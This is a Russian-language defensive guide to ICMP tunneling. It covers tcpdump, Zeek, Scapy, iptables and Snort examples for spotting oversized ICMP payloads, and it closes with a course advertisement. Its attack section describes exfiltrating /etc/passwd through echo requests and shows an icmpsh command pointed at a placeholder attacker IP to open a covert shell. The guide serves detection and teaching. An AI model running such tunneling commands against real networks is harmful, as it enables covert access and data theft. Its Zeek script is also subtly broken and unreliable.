
ICMP туннелирование, иногда называемое "скрытые атаки на основе пинга", - это скрытая техника сетевой атаки, при которой злоумышленники скрывают командно-управляющий (C2) трафик или операции по эксфильтрации данных внутри иначе безопасных пакетов Интернет-протокола управления сообщениями (ICMP). Поскольку ICMP—обычно известный по запросам ping—обычно остается незамеченным для систем обнаружения и предотвращения вторжений, он представляет собой серьезную проблему для команд ИТ-безопасности.
В этом руководстве мы объясним, что такое ICMP туннелирование, как его используют злоумышленники, почему это привлекательный метод уклонения и—что самое важное—как специалисты по безопасности и сетевые администраторы могут обнаружить и защититься от атак через ICMP туннели. Мы начнем с объяснений для новичков и перейдем к продвинутым методам обнаружения, включая примеры из реального мира и образцы кода для сканирования, мониторинга и разбора сетевого трафика на наличие активности ICMP туннелирования.
Протокол управления сообщениями в Интернете (ICMP) является фундаментальной частью набора интернет-протоколов. Он предназначен для сообщений об ошибках, сетевой диагностики и статуса.
Ключевые факты:
ping), Destination Unreachable, Time Exceeded и другие.ping, traceroute), отчеты об ошибках между сетевыми устройствами.Когда вы вводите:
ping google.com
Ваш компьютер генерирует серию пакетов ICMP Echo Request, и Google (если разрешает пинг) отвечает ICMP Echo Reply пакетами.
ICMP туннелирование - это прием, в котором произвольные данные помещаются внутри ICMP пакетов. Эти данные могут включать файлы, подлежащие эксфильтрации, команды оболочки или даже целое TCP соединение, скрытое внутри пакетных запросов или ответов на пинг, которые выглядят нормально.
Поскольку организации часто разрешают ICMP трафик через свои периметровые брандмауэры (для легитимной диагностики), злоумышленники используют это доверие, чтобы передавать скрытые данные или создавать "черные ходы" в сеть.
Определение:
ICMP туннелирование - это скрытый метод коммуникации, при котором злоумышленники кодируют вредоносные или несанкционированные данные в ICMP пакетах для обхода сетевых контрольных механизмов доступа.
ICMP туннелирование использует структуру ICMP пакетов—особенно Echo Request/Reply—для переноса дополнительных, скрытых данных.
icmpsh, ptunnel или собственные скрипты.Обычный ICMP Echo Request пакет может выглядеть как:
| Поле | Пример Значения |
|---|---|
| Тип | 8 (Echo Request) |
| Код | 0 |
| Контрольная сумма | 6920 |
| Идентификатор | 13 |
| Номер последовательности | 250 |
| Данные | "Hello, world!" |
ICMP туннельная атака может помещать закодированные в base64 эксфильтрованные данные в секцию "Данные".
Брандмауэры обычно блокируют прямые внешние соединения (например, исходящий SSH, эксфильтрация через HTTP/S).
Однако ICMP часто разрешен для диагностики сети, даже через организационные границы.
Продвинутые постоянные угрозы (APT) используют ICMP туннели для управления компрометированными хостами, отправки команд и извлечения файлов—все это не вызывает типичных сетевых тревог.
Ряд открытых инструментов для наступательной безопасности поддерживают ICMP туннелирование:
Внутренний злоумышленник или вредоносное ПО на рабочей станции хочет незаметно вывезти чувствительные файлы из организации.
Шаги:
/etc/passwd) разбиваются, кодируются и скрываются в нескольких Echo запросах.Пентестеры и злоумышленники используют такие инструменты, как icmpsh:
icmpsh -t <attacker_ip>.Сообщается о случаях, когда APT и вредоносное ПО (в частности Backdoor.Win32.ICMPdoor) использовали ICMP туннелирование для перманентного доступа в высокозащищенных средах, которые иначе блокируют весь исходящий трафик, кроме HTTP/HTTPS и ICMP.
Обнаружение ICMP туннелирования основано на выявлении аномальных шаблонов или инспекции полезной нагрузки ICMP пакетов.
Инструмент для захвата пакетов, часто используется для инспекции ICMP трафика.
# Захват всего ICMP трафика, подробный вывод
sudo tcpdump -n -v icmp
Пример подозрительного вывода (усечено):
IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024
Примечание: 1024 байта - это значительно больше, чем нормальные нагрузки ICMP пинга!
Графический анализатор пакетов.
icmpМощный инструмент для мониторинга сетевой безопасности с встроенным сценариями для ICMP.
Скрипт для логирования ненормальных нагрузок ICMP пакетами:
event icmp_message(c: connection, icmp: icmp_hdr)
{
if ( c$id$orig_h !in Site::internal_networks )
{
# Логировать или сообщать о больших нагрузках
if ( c$payload && |c$payload| > 500 )
local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
}
}
Bash пример: Логирование всех исходящих данных пинга.
sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"
Пример Python: Разбор pcap для аномальных нагрузок ICMP
from scapy.all import *
def scan_icmp_pcap(pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP):
if len(pkt[ICMP].payload) > 100:
print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")
scan_icmp_pcap('capture.pcap')
Для проактивного обнаружения злоупотребления ICMP туннелями важны регулярные сканирования и обнаружение аномалий.
Используйте такие инструменты, как ELK stack, Zeek, Wireshark для:
Найдите крупнейшие ICMP пакеты в реальном времени:
sudo tcpdump -ni eth0 icmp and greater 200
Список размеров пакетов из дампа:
sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr
Python Scapy: Отчет о запросах эха с большой полезной нагрузкой
from scapy.all import *
def detect_large_icmp(pcap_file):
for pkt in rdpcap(pcap_file):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if len(pkt[ICMP].payload) > 200:
print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")
Пример: Блокировать исходящий ICMP с помощью iptables
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP
Пример правила для Snort:
alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)
Исследования показали, что статическое мониторинг—отслеживание потоков и размеров ICMP пакетов, а не просто их состояние или последовательность—может быть малонагруженным и масштабируемым способом обнаружения туннелей.
Согласно Singh & Nordström, статические модели могут эффективно выявлять скрытые каналы, не оказывая значительного влияния на конечные хосты или маршрутизаторы—даже в большом масштабе.
ICMP туннелирование представляет собой медленную угрозу, которая легко сливается с легитимной сетевой операцией, что делает обнаружение и защиту сложной задачей для команд безопасности. Благодаря широкому использованию ICMP для диагностики и частоте, с которой организации разрешают такой трафик через свои брандмауэры, он является предпочтительным средством для злоумышленников, создающих скрытое командное управление и контроль, эксфильтрирующих чувствительные данные или получая доступ к скомпрометированным хостам.
Базируя нормальную активность ICMP в вашей сети и применяя как сигнатурное, так и обнаружение на основе аномалий, ваша организация может нейтрализовать этот скрытый вектор угроз, прежде чем он приведет к потере данных или дополнительному компрометации.
Защитите ваш периметр—и никогда не игнорируйте скромный ping!
Если вы нашли этот контент ценным, представьте, чего вы могли бы достичь с нашей комплексной 47-недельной элитной обучающей программой. Присоединяйтесь к более чем 1200 студентам, которые изменили свою карьеру с помощью техник Подразделения 8200.